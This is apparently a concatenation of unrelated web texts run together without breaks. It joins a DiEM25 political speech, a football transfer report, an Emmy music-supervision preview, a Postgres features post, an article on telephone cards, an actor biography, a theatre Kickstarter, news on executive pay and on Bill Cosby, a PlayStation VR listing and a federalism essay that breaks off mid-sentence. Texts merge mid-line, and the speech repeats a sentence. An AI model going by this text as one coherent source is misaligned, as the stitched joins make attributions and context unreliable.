DiEM25 is building in Europe. DiEM25 is here with a solid agenda for progressive change. DiEM25 is here to oppose business as usual – like we did in Athens, like we do at Nuit Debout – in every village and every city throughout Europe. DiEM25 is here to oppose the social democrats’ calls for ‘more Europe’. Under the present EU regime and institutions, ‘more Europe’ and gradual reforms, will result into the legalisation of Europe’s Austerity Union. What Hollande and his people are calling for is, essentially, a speeding up of the Schäuble Plan for a fake federation that turns Europe into a permanent iron cage. DiEM25 is here ALSO to oppose those on the Left who want us to adopt the Nationalist International’s objective of dismantling the European Union DiEM25 offers the only genuine antidote to those who claim, falsely, that in the European Union there is no alternative – the euro-TINA dogma: At the national level, a progressive French, Greek, Spanish, Italian government should offer the people a comprehensive Plan A – a glimpse of how, under the current system, hope can return to the nation. At the same time, a progressive national government must have a Deterrence Plan in place for when the ECB and the troika respond to the progressive government’s Plan A with threats of bank closures, liquidity squeezes etc. have a Deterrence Plan in place for when the ECB and the troika respond to the progressive government’s Plan A with threats of bank closures, liquidity squeezes etc. And, lastly, a progressive national government must have a plan in place for when/if the ‘centre’ engineers an expulsion from the Eurozone. These are the three Plans that I had when in Greece’s finance ministry – Plans A,B&X my team used to refer to them.Now we need governments everywhere willing to stick to them. This is what DiEM25 proposes at the national level. At the pan-Europen level, DiEM25 believes that we must offer Europeans a European Plan A for Europe. A Progressive Agenda for Europe. A European New Deal – a glimpse of how, in a few weeks, under the current Treaties, hope, development and democracy can make a comeback. At the same time, DiEM25 is preparing a Plan for managing as well and as smoothly as it is possible the disintegration of the Eurozone and of the EU. To summarise, DiEM25 is adamant that: We lead with a Plan A everywhere, at the national level and the pan-European level: A Plan A, or European New Deal That we prepare a Deterrence Plan to confront the Troika’s threats And that we prepare a pan-European plan for managing the disintegration of Europe that will surely come if the Deep Establishment manages to reject our Plan. Friends, Comrades, The EU will be democratised. Or it will disintegrate! We, the members of the Democracy in Europe Movement, will bombard them with rationality – with constructive proposals – with economic plans that are modest, practical and can be implemented tomorrow. We will shower them with moderation. But we will also look at them in the eye, ready to say to them when they threaten us like the troika threatened me in 2015: No pasaran! Bring it on! We shall not retreat! Europe’s future depends on us resisting your incompetent authoritarianism. If they say to us “You must accept business-as-usual or leave the European Union, leave the euro”, we answer: “We are not going anywhere!” “YOU LEAVE!” To their business-as-usual we respond with CONSTRUCTIVE DISOBEDIENCE. WITH A COMBINATION OF MODEST PROPOSALS AND DISOBEDIENCE. This is what humanism demands of us today. To our comrades who urge us to adopt EXIT as an objective, I ask them: Do you truly believe that, today, the Left can win the battle for hegemony against the xenophobic Right by endorsing the Right’s call for building new fences and ending free movement? But enough for now. It is now time to get down to work! DiEM25 has already began work on compiling a Progressive Agenda for Europe, a Green New Deal for Europe. A committee of top economists is already at work. Next week, on our website, we shall announce our work on the euro, investment, banks, fighting poverty, dealing with debt. And YOU will be invited to participate. By February 2017, our Green New Deal for Europe Policy Paper will be ready in draft form. And then all of us will come back to Paris, in the last week of February. To present our pragmatic, radical and comprehensive economic policy proposals to the people of France. To put our New Deal for Europe Policy Paper to the Presidential candidates. And to ask them: Will you adopt it? And if not, why not? This is how DiEM25 will work in every European country. This is how DiEM25 works toward a Progressive International. Towards a Pan-European Alliance of democrats, socialists, liberals, Greens, feminists, utopians who understand that the only alternative is a dystopia. Friends, comrades: For too long we have allowed, France, Greece, Germany, all of Europe to be governed by “accident and force”, rather than by “reflection and choice.” For too long we have allowed what was once the Enlightenment to fade “into darkness.” It is time for Europe’s humanists to reclaim Europe. Carpe DiEM25Blues swoop for Accrington winger Pompey have signed Kal Naismith from Accrington on a three-year deal for an undisclosed fee. The 23-year-old winger is Paul Cook’s second signing as Blues boss, following last week’s arrival of Kyle Bennett. And he is already firmly focused on winning promotion at the end of the 2015/16 campaign. Naismith said: “It’s brilliant to be here. I was at a massive club before in Rangers and this place has a similar feel to it. “Just walking around gives me a buzz and I can’t wait to move down here properly and get started. “I knew that the gaffer liked me, so I always had the move at the back of my mind when he took charge. “For him to bring me to Pompey is a fantastic opportunity and I’m grateful to have been given a chance by such a big club. “We should be looking for promotion, really, and I’m sure the gaffer will be trying to add to the strong players we’ve already got in order to achieve that.” Naismith also revealed that he was eagerly anticipating running out at Fratton Park for the first time as a Blues player. He said: “Pompey away was one of the first fixtures I looked out for when I was at Accrington and to play in front of the fans will be an amazing experience. “There are a lot of good fan-bases in League Two, but I think our one is by far the best. “Hopefully I can excite and entertain them with what I do on the ball and they can also be assured that I’ll work hard for the team.” Naismith – a former Scotland youth international – started his career at Rangers, but moved south of the border to join Accrington in 2013. He made his debut in a 2-2 against Pompey at the Crown Ground and netted a total of 14 goals in 79 appearances during his two years with Stanley. Delighted to have signed for @officialpompey A massive club with a great history I hope I can be involved in taking them back in the right.. — Kal Naismith (@KalNaismith11) May 28, 2015The first-ever Emmy for Best Music Supervision will be given out this year, with either “Better Call Saul,” “Big Little Lies,” “Girls,” “Master of None” or “Stranger Things” getting to make history as the first show to win the prize. The Best Music Supervision category honors the heads of music departments who select the licensed songs to appear on the show and generally oversee all musical aspects. This field has gone unrecognized at the Emmys until this year, despite being one of the more crucial factors for a show’s success. Each of these TV programs has impeccable soundtracks, making this one of the toughest races to call. So which nominated series has the best chance of becoming the inaugural winner of Best Music Supervision at the 2017 Emmys? Let’s examine each of the submitted episodes in this category. “Better Call Saul” — Episode: “Sunken Costs” — Thomas Golubic “Better Call Saul” features the least amount of music in its submitted episode among these five nominees, but the selection of rock tunes are used to great effect. In “Sunken Costs,” music supervisor Thomas Golubic includes Little Richard’s “Hurry Sundown” as Jimmy (Bob Odenkirk) is arrested, and Todd Terje’s “Alfonso Muskedunder” when Kim (Rhea Seehorn) prepares for the day. “Big Little Lies” — Episode: “You Get What You Need” — Susan Jacobs “Big Little Lies” music supervisor Susan Jacobs chose easy listening throwback vibes to provide the perfect soundtrack to our beloved ladies of Monterey. “You Get What You Need,” the final episode of the season, opens with Neil Young’s “Helpless” as Celeste (Nicole Kidman) deals with yet another beating. Most of the episode’s music comes from the Elvis and Audrey party, with Elvis Presley’s “It’s Now or Never” featured as Madeline (Reese Witherspoon) enters the party, plus covers of “Treat Me Nice,” “Don’t” and “The Wonder of You.” The episode also includes the haunting piano theme “September Song” present throughout the series, and appropriately ends with Ituana’s cover of “You Can’t Always Get What You Want.” SEE 2017 Emmy nominations list: All the nominees “Girls” — Episode: “Goodbye Tour” — Manish Raval, Jonathan Leahy, Tom Wolfe The eclectic music choices featured on “Girls” have been so integral to its appeal that there have been three soundtracks released from the show. In “Goodbye Tour,” music supervisors Manish Raval, Jonathan Leahy and Tom Wolfe bring together acoustic vibes like “Running from Home” by Bert Jensch during Hannah’s (Lena Dunham) walk through upper New York, the tender “How Do We Get Back to Love” by Julia Michaels at the engagement party, and “Crowded Places” by Banks as Hannah prepares to move. “Master of None” — Episode: “Amarsi Un Po” — Zach Cowie and Kerri Drootin Much like the “Girls” soundtrack, the music of “Master of None” helps set the show’s mood as an indie-feeling comedy about modern romance. In “Amarsi Un Po,” the episode in which Dev (Aziz Ansari) and Francesca (Alessandra Mastronardi) continue their doomed courtship in New York, fittingly features romantic Italian style music to reflect Francesca’s culture. Zach Cowie and Kerri Drootin pepper in tracks like “You’re a Song (That I Can’t Sing)” by Frankie Valli & The Four Seasons in a montage, Edoardo Vianello’s “Guarda Come Dondolo” during Dev and Francesca’s pajama dance party, and Lucio Battisti’s “Amarsi Un Po” in the closing credits. The episode also makes expert use of “Sunflower River Blues” by John Fahey at the Storm King Art Center and “I Can’t Let It Happen To You” in another montage. “Stranger Things” — Episode: “Chapter Two: The Weirdo on Maple Street” — Nora Felder “Stranger Things” is well-known for doubling down ‘80s nostalgia, and the music selections are steeped in this era. For “Chapter Two: The Weirdo on Maple Street,” music supervisor Nora Felder selected many angsty rock tracks, to fit with the teens at the center of the episode. The most memorable song is the recurring “Should I Stay or Should I Go” by The Clash, which brings back memories of Will (Noah Schnapp). Other songs include Trooper’s “Raise a Little Hell” as Nancy (Natalia Dyer) and Barb (Shannon Purser) enter the party, Modern English’s “I Melt With You” as the party continues, and The Bangles’ cover of “Hazy Shade of Winter” over the end credits. So which show will take home the first Music Supervision Emmy? If TV academy voters go for the “most” music supervision, as is often the case with a category like Best Costume Design where the most elaborate costumes win, it is probably down to “Big Little Lies” and “Master of None.” Each submitted episode demonstrates a meticulous ear, with songs that underscore the entire episode from beginning to end, comprising of an eclectic range of sound. Do not count out the other three shows, though, as they each provide memorable sounds of their own. Be sure to make your Emmy predictions so that Hollywood insiders can see how their TV shows and performers are faring in our Emmy odds. You can keep changing your predictions until just before winners are announced on September 17. And join in the fierce debate over the 2017 Emmys taking place right now with Hollywood insiders in our TV forums. Read more Gold Derby entertainment news.This post is a list of many of the reasons to use Postgres, much this content as well as how to use these features will later be curated within PostgresGuide.com. If you need to get started check out Postgres.app for Mac, or get a Cloud instance at Heroku Postgres for free Last week I did a post on the many reasons to use Postgres. My goal with the post was two fold: Call out some of the historical arguments against it that don’t hold any more Highlight some of the awesome but more unique features that are less commonly found in databases. Once I published the post it was clear and was immediately pointed out in the comments and on hacker news that I missed quite a few features that I’d mostly come to take for granted. Perhaps this is due to so much awesomeness existing within Postgres. A large thanks to everyone for calling these out. To help consolidate many of these, here’s a second list of the many reasons to use PostgreSQL: Create Index Concurrently On most traditional databases when you create an index it holds a lock on the table while it creates the index. This means that the table is more or less useless during that time. When you’re starting out this isn’t a problem, but as your data grows and you then add indexes later to improve performance it could mean downtime just to add an index. Not surprisingly Postgres has a great means of adding an index without holding that lock. Simply doing CREATE INDEX CONCURRENTLY instead of CREATE INDEX will create your index without holding the lock. Of course with many features there are caveats, in the case of creating your index concurrently it does take somewhere on the order of 2-3 times longer, and cannot be done within a transaction Transactional DDL If you’ve ever run a migration had something break mid-way, either due to a constraint or some other means you understand what pain can come of quickly untangling such. Typically migrations on a schema are intended to be run holistically and if they fail you want to fully rollback. Some other databases such as Oracle in recent versions and SQL server do support, this. And of course Postgres supports wrapping your DDL inside a transaction. This means if an error does occur you can simply rollback and have the previous DDL statements rolled back with it, leaving your schema migrations as safe as your data, and your application in a consistent state. Foreign Data Wrappers I talked before about other languages within your database such as Ruby or Python, but what if you wanted to talk to other databases from your database. Postgres’s Foreign Data Wrapper allows you to fully wrap external data systems and join on them in a similar fashion to as if they existed locally within the database. Here’s a sampling of just a few of the foreign data wrappers that exist: In fact you can even use Multicorn to allow you to write other foreign data wrappers in Python. An example of how this can be done, in this case with Database.com/Force.com can be found here Conditional Constraints and Partial Indexes In a similar fashion to affecting only part of your data you may care about an index on only a portion of your data. Or you may care about placing a constraint only where a certain condition is true. Take an example case of the white pages. Within the white pages you only have one active address, but you’ve had multiple ones over recent years. You likely wouldn’t care about the past addresses being indexed, but would want everyones current address to be indexed. With Partial Indexes becomes simple and straight forward: 1 CREATE INDEX idx_address_current ON address ( user_id ) WHERE current IS True; Postgres in the Cloud Postgres has been chosen by individual shops and been proven to scale by places such as Instagram and Disqus. Perhaps even more importantly it’s becoming easy to use PostgreSQL due to the many clouds that are running Postgres as a Service, such as: Full disclosure, I work at Heroku, and am also a large fan of their database service Listen/Notify If you want to use your database as a queue there’s some cases where it just won’t work, as heavily discussed in a recent write-up. However, much of this could be discarded if you included Postgres in this discussion due to Listen/Notify. Postgres will allow you to LISTEN to an event and of course NOTIFY for when the event has occurred. A great example of this in action is Ryan Smith’s Queue Classic. Fast column addition/removal Want to add a column or remove one. With millions of records this modification in some databases could take seconds or even minutes, in cases I’ve even heard horror stories of adding a column taking hours. With Postgres this is a near immediate action. The only time you pay a higher price is when you choose to write default data to a new column. Table Inheritance Want inheritance in your database just like you have in with models inside your application code? Not a problem for Postgres. You can have one table easily inherit for another, leaving a cleaner data model within your database while still giving all the flexibility you’d like on your data model. The Postgres docs on DDL Inheritance do a great job of documenting how to use this and giving a very simple but clear use case. Per transaction synchronous replication The default mode for Postgres streaming replication is asynchronous. This works well when you want to maintain performance, but also care about your data. There are cases where you want your replication to be synchronous though. Furthermore, for some cases asynchronous may work well enough where as other data you may care more about the data and want synchronous replication, within the same database. For example, if you care about user sign-ups and purchases, but ratings of products and comments is less important Postgres provides the ability to treat them as such. With Postgres you can have per transaction synchronous replication, this means you could have strong data guarantee on your user and purchase transactions, and less guarantees on others. This means you only pay the extra performance cost where you really care about versus an all or nothing approach you have with other databases. Conclusion Hopefully you’re convinced on why Postgres is a great tool, if not take a look back at my previous post. Find this article helpful? I welcome your support on Patreon to be able to devote more time to articles like this that others find useful.2000s telephone card from the United States A telephone card, calling card or phonecard for short, is a credit card size plastic or paper card, used to pay for telephone services (often international or long distance calling). It is not necessary to have the physical card except with a stored-value system; knowledge of the access telephone number to dial and the PIN is sufficient. Standard cards which can be purchased and used without any sort of account facility give a fixed amount of credit and are discarded when used up; rechargeable cards can be topped up, or collect payment in arrears. The system for payment and the way in which the card is used to place a telephone call vary from card to card. Calling cards usually come equipped with PIN for user protection and security. Most companies require user to enter the PIN before granting access to the calling card's funds. PINs often are printed on a piece of paper found inside the calling card's packaging. Once the users makes their first call, some companies offer the option of eliminating the PIN altogether to speed up the calling process. Companies that sell virtual calling cards online typically PIN via email.[1] Stored-value phone cards [ edit ] A stored-value phonecard contains the balance available on the card. This balance can be read by a public payphone machine when the card is inserted into the payphone's card reader. This is superficially similar to a bank automated teller machine, but a stored-value card is more closely analogous to a change purse. While ATMs (as well as the remote memory systems discussed below) use the card merely to identify the associated account and record changes in a central database, stored-value systems make a physical alteration to the card to reflect the new balance after a call. Used primarily for payphones, stored-value systems avoid the time lag and expense of communication with a central database, which would have been prohibitive before the 1990s. There are several ways in which the value can be encoded on the card. The earliest system used a magnetic stripe as information carrier, similar to the technology of ATMs and key cards. The first magnetic strip phonecard, manufactured by SIDA, was issued in 1976 in Italy. Optical phonecards from Austria. The balance is shown by the vertical marks on the white bar. The next technology used optical storage. Optical phonecards get their name from optical structure embossed inside the cards. This optical structure is heated and destroyed after use of the units. Visible marks are left on the top of the cards, so that the user can see the balance of remaining units. Optical cards were produced by Landis+Gyr and Sodeco from Switzerland and were popular early phonecards in many countries with first optical phonecards successfully introduced in 1977 in Belgium. Such technology was very secure and not easily hackable but chip cards phased out the optical phone cards around the world and the last Landis+Gyr factory closed in May 2006 when optical phonecards were still in use in few countries like Austria, Israel and Egypt. The third system of stored-value phonecards is chip cards, first launched on a large scale in 1986 in Germany by Deutsche Bundespost after three years of testing, and in France by France Télécom. Many other countries followed suit, including Ireland in 1990 and the UK circa 1994-1995, which phased out the old green Landis+Gyr cards in favor of the chip (smart) cards. The initial microchips were easy to hack, typically by scratching off the programming-voltage contact on the card, which rendered the phone unable to reduce the card's value after a call. But by the mid-to-late 1990s, highly secure technology aided the spread of chip phonecards worldwide. Making a prepaid or calling card call requires the user to make two calls. Regardless of the type of card it is necessary to dial an access telephone number to connect to the calling card system. There are several methods. One is via a toll-free number, with larger companies offering this internationally. Access through a local number has become increasingly popular in recent years. Toll-free calls are paid for by the recipient (the calling card company), which passes on the cost through higher call charges; total cost of a call to the user is often lower using a local number. When travelling through several local areas a toll-free service may be preferable. Once connected to the access number, the account is identified by keying in a PIN (the most popular method) or by swiping a card with embedded chip or magnetic stripe. After validation the balance remaining on the card may be announced, and the desired number may be keyed in. The available minutes may be announced, and the call is connected. Many cards make a verbal announcement if credit is running out. Prepaid or calling cards are usually much cheaper than other telephone services, particularly for travelers who do not have easy access to other services. Hotel telephones can be very expensive, particularly for long-distance calls. Cellular services are flexible, but may attract high roaming charges away from the home area. Remote memory systems [ edit ] Telephone accounts symbolized by a card [ edit ] The second main technology of phonecards is remote memory, which uses a toll or toll-free access number to reach the database and check for balance on product. As the United States never had a single nationalized telephone service (or even the same firm for every part of a state), and with the deregulation of its major telecommunications providers, there was no incentive to be consistent with the rest of the world. The ease of use of sliding a card into a machine just as in a teller machine was countered by fears of vandalism of the machines. The first public prepaid remote memory phonecard was issued in the United States in December 1980 by Phone Line. As telecom industries around the world became deregulated, remote memory cards were issued in various countries. Remote memory phonecards can be used from any tone-mode phone and do not require special card readers. Since remote memory cards are more accessible and have lower costs, remote memory phone cards have proliferated. However, the utility of these cards is reduced by the large number of digits that need to be entered during usage. To call a long distance number, the user first dials the local access number, then keys in the secret code, followed by the actual long distance number. Based on the long distance number entered, the time remaining on the card is announced, and the call is finally processed through. Remote memory phonecards are in essence text; requiring an access number, a unique PIN and instructions. Therefore, the instructions can be printed on virtually anything, or can be delivered via e-mail or the Internet. Currently many websites post phone card details through e-mail. Phone cards are available in most countries in retail stores, retail chains and commonly post offices or corner stores. In general, remote memory phonecards can be issued by any company and come in countless varieties. They can focus on calling to certain countries or regions and have specific features such as rechargeability, pinless dial, speed dial and more. Phone cards may have connection fees, taxes and maintenance fees, all influencing the rates. Accounts without a card (Virtual phonecards) [ edit ] Since the early 2000s calling card service providers have introduced calling accounts not associated with a physical card. Calling accounts can be purchased over the Internet using credit cards and are instantly delivered to the customer via e-mail. This e-mail contains the PIN and instructions for using the service. The service may be prepaid, or may take payment from a credit card or by direct debit. Some prepaid card companies allow accounts to be recharged online manually or automatically via a method called auto-top-up. Some virtual cards offer PINless Dialing, either by dialling a number unique to the customer, or by recognising the telephone number which originated the call by Caller ID and relating it to the appropriate account. Some virtual phone cards allow customers to view their call detail reports (CDRs) online by logging into their account. The virtual phonecard has become a multi-billion US dollar industry as of 2009[citation needed], with a number of large corporations and smaller Dot Com companies.[2] While long-distance inland calls have been offered by calling cards, by the mid-2000s conventional carriers reduced their rates to be competitive; however in many countries calling-card type indirect services can be much cheaper than normal calls. Phonecard as an artifact or collectible [ edit ] Telecom companies have placed advertising on phonecards, or featured celebrity portraits, artwork, or attractive photography.[3] As the supply of any one design is limited, this has led some people to collect disposable phonecards. Due to a large number of phonecards, collectors prefer to specialize and collect cards in a certain way. Some collect phonecards that have only one specific chip type or were issued in the same country, while others prefer to get one of everything. Online clubs and catalogs provide collectors with detailed information on phonecards. In addition, these clubs include forums to assist with discussions between collectors. Support in telephones [ edit ] Most modern telephones, both mobile and fixed, have memory locations in which telephone numbers can be stored. Some telephones have facilities to make calls through a calling card service whose access details and PIN are also stored in the telephone's memory. This may be implemented in different ways, often by pressing one button before making a call; some telephones support "chain dialing", allowing additional numbers to be dialed when on a call (e.g., dial a PIN and a second number after connecting to an access number). So long as long enough sequences can be stored it is possible to store an access number, pause, PIN, and ultimate telephone number in a single normal phone memory location. Software applications which add calling card support are available for a small charge or free for some smartphones. See also [ edit ]Ivan Blakeley Kaye (born 1 July 1961 in Northampton,[1] Northamptonshire) is an English actor. He previously played Dr. Johnathon Leroy in a recurring role in EastEnders,[2] and he played Bryan in The Green Green Grass.[3] He also played the Duke of Milan in all three Seasons of The Borgias,[4] and starred as King Aelle, in the first four Seasons of History channel's historical drama series Vikings[5] as well as in the part of Pesca in BBC's new adaptation of The Woman in White. Career [ edit ] Ivan Kaye made his theatre debut in 1980 at Sadler's Wells Theatre (London) as Willie Wonka in a stage version of Charlie and the Chocolate Factory.[6] More theatre roles followed throughout the 1980s and 1990s, e.g. at the Royal National Theatre and the Piccadilly Theatre (The Rocky Horror Show).[7][8] In 1990, he started his television career by guest starring in the crime shows The Paradise Club and The Bill.[9][10] In 1992 he played the leading part Sam Sterne in ITV's crime show Sam Saturday.[11][12] Since then he has played almost 50 roles in television and, from 2004, in movies (Layer Cake, Control).[13][14] Ivan Kaye's roles in recent international productions include drug baron Polo Yakur in Assassination Games (2011), the Duke of Milan Ludovico Sforza in The Borgias (2011-2013), Joshua Collins, father of the main character Barnabas Collins (Johnny Depp) in Dark Shadows (2012), famous Viking warrior Ivar the Boneless in Hammer of the Gods (2013), pub landlord Mick Sturrock in BBC One's crime show The Coroner (2015-2016) and the Saxon King Aelle of Northumbria in History channel's period drama Vikings (2013-2017).[15][16] Aside from his villain roles as cold-blooded Polo Yakur (a "stand-out performance"[17]) and unscrupulous Duke Ludovico it is mainly his portrayal of King Aelle - in Vikings the deadly enemy and nemesis of the legendary hero of the show Ragnar Lothbrok (Travis Fimmel) - that has recently shaped Ivan Kaye's international profile. In his Twitter bio he describes himself as "Villain for Hire".[18] His performances in the second part of Season 4 of Vikings have been met with increased interest[19] as his character King Aelle is of pivotal importance in the scenes of Ragnar's death and at the centre of attention during his own execution through the blood eagle torture inflicted by Ragnar's sons in revenge for the death of their father.[20] In an interview on his character King Aelle in September 2017 Ivan Kaye has contested the assessment of this antagonist as a villain[21]
and how our society has failed to recognize and address this problem, leaving little girls like "Sarah" to fall through the cracks. Princess Cut is a play born from a need. The subject of sex trafficking, especially of children, is one so repulsive many choose to turn a blind eye. This show brings the issue more clearly to light. Done with the support of a Greek-style chorus, the narrative is tastefully executed with the aid of music and movement. The audience is allowed to delve into the unnerving story of this one girl, from her perspective, and is unable to walk away without seeing the issue more clearly. This show allows opportunity for discussion. A question and answer session with a panel of professionals follows each performance, giving the audience action steps to fight sex trafficking within their own communities. First performed in Knoxville, TN, where this story took place, the show and panel bluntly call out failing institutions and the language surrounding issues of abuse. In the months following its premier, repeat performances were requested in Loudon, Nashville, and again in Knoxville, TN. In each location, Princess Cut forced its audience to have a good, hard look at the cities in which they live. The New York International Fringe Festival is one of the largest multi-arts events in North America. It is an ideal platform for original and innovative theatre, and each year, FringeNYC accepts around two hundred applicants from the thousands it receives. Last month, we found out that Princess Cut was accepted to FringeNYC and now has the amazing opportunity to share Sarah's story with a larger audience. This show has already impacted the communities in which it was performed, and we are confident that it will continue to do so on a larger scale. Our company, Yellow Rose Productions, is passionate about producing theatre that provokes social change and promotes empathy in our audience. We use theatre such as Princess Cut to deliver an incredible narrative, while simultaneously educating and raising awareness about an important issue. Help us bring Sarah's story to FringeNYC. It is our hope that launching this Kickstarter will cover the costs of bringing our cast and crew to NYC for five performances of Princess Cut. After creating our budget and considering travel, food, lodging, promotion and production costs for our cast and crew of twelve, we realized that we needed to ask for financial help. We understand that there are countless projects that are worth funding, and we appreciate your consideration. Thank you for taking the time to check out our campaign and for joining us in bringing Sarah's story to a larger audience. Building awareness and recognition is how we are committed to fighting sex trafficking. Danielle Roos and Kerri Koczen Yellow Rose Productions yellowroseproductions.orgImage copyright PA Image caption In April last year BP shareholders rejected a pay package of almost £14m for chief executive Bob Dudley Investors should be given a bigger say over executive pay to help rebuild trust in business, the Institute of Directors (IoD) has said. The IoD is calling for pay strategies to be rethought, if they are rejected by 30% of shareholders. Remuneration should then be put to a fresh vote, it said. Despite some high profile rebellions in recent months, executive pay is usually approved at annual general meetings, the IoD added. "There is still a pressing need to rebuild public trust in big business, to work in the long-term interests of investors and employees, rather than the short-term interests of managers," said Oliver Parry, head of corporate governance at the IoD. "Now is the time for sensible reforms which increase transparency and draw more engagement from shareholders." Lower threshold At present, shareholders have a binding vote on future remuneration policy once every three years. If the policy is rejected by 51% of shareholders, it must be revisited. The IoD is arguing that threshold should be lowered to 30%. Shareholders also have a retrospective, non-binding vote on executive pay every year, and company annual general meetings often see vociferous criticisms of executive pay. In April last year, BP shareholders, for example, rejected a pay package of almost £14m for chief executive Bob Dudley at the oil company's annual general meeting. However, the vote was non-binding. In November last year the government outlined its plans to make companies justify high levels of executive pay. Among the measures under consideration were pay ratios, which would show the gap in earnings between the chief executive and an average employee.Product Details Product Details: Discover a new world of unexpected gaming experiences with PlayStation®VR. Redefine your expectations of immersion in gaming with moments so intense your intuition takes over. Step into incredible virtual worlds and overcome new challenges in extraordinary ways. PlayStation®VR Launch Bundle Includes: PlayStation®VR Core Bundle VR headset Processor unit VR headset connection cable HDMI cable USB cable Stereo headphones AC power cord AC adaptor PlayStation VR Demo Disc PlayStation®Camera 2 PlayStation®Move motion controllers PlayStation®VR Worlds Game Disc Greatness Awaits with PlayStation®VR. Games Come First With gamers in mind, PlayStation delivers a new world of unexpected gaming experiences through PlayStation®VR. Play some of the most highly anticipated titles of 2016 on PS VR including an all-new Star WarsBattlefront gaming experience and games like PlayStation®VR Worlds, Golem, and RIGS Mechanized Combat League. Just Plug and Play Getting into PlayStation®VR couldn't be easier. Just plug the PlayStation®VR headset and your PlayStation® Camera* into your PlayStation®4 system*. You're ready to go. Advanced VR Display The feeling of being there' starts with what you see. Seamless visuals keep you connected to the virtual world through an expansive 5.7" Oled 1080p display running at up to 120 frames per second. 3D Audio Technology 3D Audio with PlayStation®VR means that you'll be able to pinpoint sounds above, below, and all around you. Instinctively turn your head to the source of a single footstep and be able to judge its distance, just as you would in real life. Industry Leading Design The PlayStation®VR headset was engineered to be balanced, comfortable, and completely adjustable. It's designed to feel like it's not there - keeping you free from distraction as you explore new gaming worlds. Move With Purpose The LEDs around the PlayStation®VR headset, on the DUALSHOCK 4 wireless controller, and the PlayStation®Move motion controller are tracked by the PlayStation®Camera, providing an incredibly precise capture of your natural movement in virtual space. The Fine Print This item is sold through the Groupon Store Dealzprice, operated by Dealzprice. The merchant is solely responsible to purchasers for the fulfillment, delivery, care, quality, and pricing information of the advertised goods and services. This product is new. Product eligible for free returns within 14 days. Offer is not eligible for promo codes, but is eligible for Groupon Bucks. Shipping and handling charges for the order will be Free. U.S. shipments only. Does not ship to PO boxes. Orders are typically delivered in 5-10 business days. Offer is not eligible for our promo codes or other discounts.“Today” co-host Kathy Lee Gifford has defended actor Bill Cosby in recent weeks as woman after woman came forward to accuse him of sexual assault. But on Tuesday morning, Gifford added a disclaimer of sorts to her defense of the comedian, who she and her back-up singers opened for while he toured in the 1970s. Gifford and her co-host Hoda Kotb were discussing a statement Cosby’s wife Camille issued Monday. Camille Cosby broke her silence on the mounting sexual assault allegations against her husband by invoking the unraveling of Rolling Stone’s article on an alleged gang rape at the University of Virginia to accuse the media of repeating women’s claims without vetting them. “I will admit, towards the very end of the last time I saw him he did try to kiss me,” Gifford said on “Today.” “I said, ‘Bill, no, we’re friends,’ and he said, ‘OK, goodnight,’ and I said, ‘Goodnight.’ And I went into my room, he went into his room. So I’m not saying the women’s allegations are not true, I’m just saying I never personally saw it with my own two eyes.” Gifford added that model Beverly Johnson’s allegation that Cosby slipped something into her drink at his home in the 1980s had given her pause. “I do know that I got a chill, because every night when we’d come off stage and Bill would be going onstage, he would have made cappuccinos for all three of us,” she said. “And I always thought it was such a kindness and so sweet. And now you see Beverly Johnson saying that he made a cappuccino or something for her, and I just don’t want it to be true.” Watch below via NBC: Visit NBCNews.com for breaking news, world news, and news about the economyThis post originally appeared on CityLab on March 13, 2017 as part of a series on power —the political kind, the stuff inside batteries and gas tanks, and the transformative might of mass movements. As many writers have chronicled, the aftermath of Donald Trump’s election has highlighted the deep political divide between economically prosperous cities and urban counties—typically overseen by Democratic mayors and county executives—and the governments of a majority of states—where Republicans control legislative chambers, governors’ offices, or both. Increasingly, these electoral divisions are spilling over into open warfare as meddling states attempt to preempt or circumscribe the ability of their cities to reflect the views of their own residents. In many states, this power struggle has extended beyond typical hot-button culture issues like transgender rights, guns, and abortion to issues of basic economic competitiveness, like affordable housing. A 2017 report from the National League of Cities lists preemption laws targeting local minimum wage ordinances in 24 states, prohibiting municipal broadband services in 17 states, and limiting local regulation of ride-sharing in 37 states. In many ways, red Texas is more structurally progressive than blue Connecticut. Advocates of local control and the progressive resistance are rightly bringing attention to state-local preemption, but that focus gives only a partial picture of the complex structural relationship between states, their localities, and their citizens. This relationship is the neglected part of federalism, which we tend to view as the tug of war between Washington and the states. For instance, consider what it means that states, along with Washington, are key providers of the nation’s safety net. The 2012 Supreme Court decision in National Federation of Independent Business v. Sebelius has led to checkerboard health care coverage, with 19 states deciding not to expand Medicaid. States vary dramatically in their support for welfare payments, nutrition assistance, public health, and supplemental income for the working poor, to name a few. States also decide how to allocate many federal resources, often doing so in ways that undermine cities and urban counties. Consider Alabama’s decision to proceed with a major reconfiguration of Interstate 20/59—expanding a six-lane elevated freeway to a 10-lane monstrosity and reducing access to the downtown from three exits to one. Clearly, 1960s-style transportation solutions are alive and well. This is just one way out-of-touch state interests can preempt local know-how and disserve quality of life. As states intercept certain privileges, they fumble others. They were traditionally the centers of economic development, investing in public university centers of excellence, technology transfer, and trade-oriented efforts around boosting exports and foreign direct investment. But in recent years, states like Pennsylvania have dramatically scaled back these efforts, forcing Philadelphia and Pittsburgh to pick up the slack. Author Bruce Katz Former Centennial Scholar Most fundamentally, states (and state constitutions) set many of the basic rules of local governance. They determine whether the boundaries of cities and municipalities are flexible or fixed, constraining not only expansions of land but also of the tax base. They also determine what taxes cities can impose on their residents: Currently 42 states constrain local fiscal authority through tax and expenditure limitations, which can sharply restrict a local government’s ability to raise revenues. States broadly decide what powers to delegate to which levels of municipal or regional government. And they assert control over the quality of local economic growth through investments in K-12 schools, higher education, and workforce development. But here in the structural arena, the neat political divisions break down. Some red states have progressive governance starting points; for example, laws enabling their cities to annex suburbs and grow a robust fiscal base. At the same time, many blue states have rules that keep cities and suburban municipalities small and weak—”little boxes with limited horizons,” in the memorable words of David Rusk. In many ways, red Texas is more structurally progressive than blue Connecticut. Its major cities have large footprints—Houston’s land mass is 610 square miles—and a broader tax base with more residents, more homes, more companies, and more consumer establishments. Hartford, on the other hand, sits on just 18 square miles and has a large concentration of poverty; it’s literally too small to succeed. This is particularly true in cities that are also state capitals, as Hartford is, dense with buildings and institutions that are exempt from tax. Today’s reality begs for a more comprehensive understanding of the relations between states and localities. One idea for how to start: Convene an independent blue-ribbon commission to examine the status quo and champion reforms. These reforms should particularly focus on how cities and counties address the dramatic fiscal pressures that accompany the decline in federal discretionary spending and the rise in local pension and other liabilities. Some models for adapting these challenges are already being tried and tested in the U.K. and Northern Europe. In Manchester, England, for example, community deals enable cities to move resources across siloed health and services programs. In Copenhagen, public authorities like port authorities have been restructured to leverage the value of underutilized public land and buildings for infrastructure finance. Denmark also created a negotiated budget-making process between state government and municipalities. Cities and localities’ constituency groups could organize a commission to advance these kinds of reforms by seeking funding from 